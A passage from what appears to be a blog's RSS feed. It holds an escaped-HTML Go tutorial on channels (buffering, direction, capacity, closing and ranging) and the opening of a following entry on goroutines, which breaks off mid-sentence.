id=&#34;channels-or-unbuffered-channels&#34;&gt;Channels or unbuffered channels&lt;/h3&gt;&#xA;&lt;p&gt;If we do not specify a buffer size the channel:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It will block the sender until the recipient is ready to receive the information.&lt;/li&gt;&#xA;&lt;li&gt;Block the recipient until the sender is ready to send the information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or to put it another way, if you try to send data to an unbuffered channel, the operation will block until the data is received. If you try to receive data it will block until the data is sent.&lt;/p&gt;&#xA;&lt;p&gt;These channels are useful when you want to ensure that the sender and recipient are in sync and that the information is transmitted immediately, but they can lead to deadlocks if the sender and recipient are not in sync.&lt;/p&gt;&#xA;&lt;h3 id=&#34;accessing-a-channel-in-a-function&#34;&gt;Accessing a channel in a function&lt;/h3&gt;&#xA;&lt;p&gt;When we want to refer to the channel as an argument of a function, it is necessary to indicate the data type of the channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The data type of a channel can also be one defined using a &lt;em&gt;struct&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; MyStruct) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;putting-data-into-a-channel&#34;&gt;Putting data into a channel&lt;/h3&gt;&#xA;&lt;p&gt;To indicate data input through the channel, we use the character pair &amp;lt;-&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; text&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;pulling-data-from-a-channel&#34;&gt;Pulling data from a channel&lt;/h3&gt;&#xA;&lt;p&gt;To obtain the channel response we reverse the order between the channel and the &amp;lt;- symbol.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;entering-and-retrieving-data-from-a-channel-in-go&#34;&gt;Entering and retrieving data from a channel in go&lt;/h3&gt;&#xA;&lt;p&gt;The complete process of entering and extracting data from a channel in go would look something like this:&lt;/p&gt;&#xA;&lt;p&gt;Create a channel of a data type using make.&#xA;2. We introduce a data (in this case &lt;em&gt;string&lt;/em&gt;) to the channel using a&#xA;goroutine&#xA;3. Extract the text from the channel and use it (in this case just print it).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;writeInChannel&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; text&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;writeInChannel&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Channel Data&amp;#34;&lt;/span&gt;, c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;input-and-output-channels&#34;&gt;Input and output channels&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are channels that receive information and channels that output information, &lt;strong&gt;by default a channel is bidirectional, but we can declare input and output channels&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To identify them, observe the flow of the arrow around the word chan; one enters (or goes to) chan and the other leaves chan.&lt;/p&gt;&#xA;&lt;p&gt;This is an input channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While this is an output channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is important to define the type of channel because, with bidirectional channels, we run the risk of causing a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/&#34;&gt;deadlock in our go program&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;channel-capacity&#34;&gt;Channel capacity&lt;/h2&gt;&#xA;&lt;p&gt;Remember I told you that the make function could set the maximum number of data a channel can work with? Well, it is possible to retrieve that information using the len function.&lt;/p&gt;&#xA;&lt;p&gt;The len function tells us how much data there is in a channel, while cap returns the maximum capacity, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(c), &lt;span style=&#34;color:#ff5c57&#34;&gt;cap&lt;/span&gt;(c))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;In the above example, the channel has two slots occupied, but has a total capacity of 3, even though not all of its slots are occupied.&lt;/p&gt;&#xA;&lt;h2 id=&#34;close-a-channel-in-go&#34;&gt;Close a channel in go&lt;/h2&gt;&#xA;&lt;p&gt;If we want to disable a channel, even if it has available capacity to store more data, the close function allows us to do so.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data1&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data2&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;close&lt;/span&gt;(c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data3&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//panic: send on closed channel&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;iterate-on-a-channel&#34;&gt;Iterate on a channel&lt;/h2&gt;&#xA;&lt;p&gt;Range is ideal for iterating over channel data. However, it is important to note that, &lt;strong&gt;there is no certainty about what data we will receive&lt;/strong&gt; since the channel content can come from multiple goroutines.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;close&lt;/span&gt;(c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; c {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With that you know the basic information about the channels and how you can use them to communicate goroutines.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;So far I have explained how to run a goroutine, execute code concurrently with the goroutines and wait for them to finish executing but our goroutines can&amp;rsquo;t do anything else, they can&amp;rsquo;t cooperate with each other to speed up the processes.&lt;/p&gt;&#xA;&lt;p&gt;Imagine you have a web scrapper that gets data from the internet concurrently; we get the data with goroutines and process it with goroutines. do we have to wait for all the goroutines to finish to use it? Ideally, the goroutines should communicate with each other the data and continue processing.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: introduction to goroutines and concurrency</title>
      <link>https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/</link>
      <pubDate>Wed, 19 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;As I mentioned in the introduction to the go programming language: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go is a specialized concurrency language&lt;/a&gt;&#xA;. It is a language that was designed to handle multiple tasks asynchronously. This entry is about go channels.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;concurrency-is-not-parallelism&#34;&gt;Concurrency is not 